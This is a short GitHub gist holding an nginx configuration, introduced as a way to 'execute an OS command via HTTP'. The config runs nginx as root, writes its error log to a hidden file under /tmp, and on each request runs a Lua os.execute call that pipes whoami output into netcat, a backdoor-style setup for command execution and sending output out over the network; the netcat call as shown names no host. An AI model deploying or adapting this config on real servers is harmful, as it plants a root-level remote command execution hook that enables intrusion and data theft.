-
-
Save defektive/be23e0ab2fb696a1a34784e8ac903e0f to your computer and use it in GitHub Desktop.
Let's say that for some reason you want to execute an OS command via HTTP...
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
worker_processes 1; | |
user root; | |
error_log /tmp/.nginx.log; | |
events { | |
worker_connections 1024; | |
} | |
http { | |
server { | |
listen 8080; | |
location / { | |
content_by_lua "os.execute('whoami|nc')"; | |
} | |
} | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment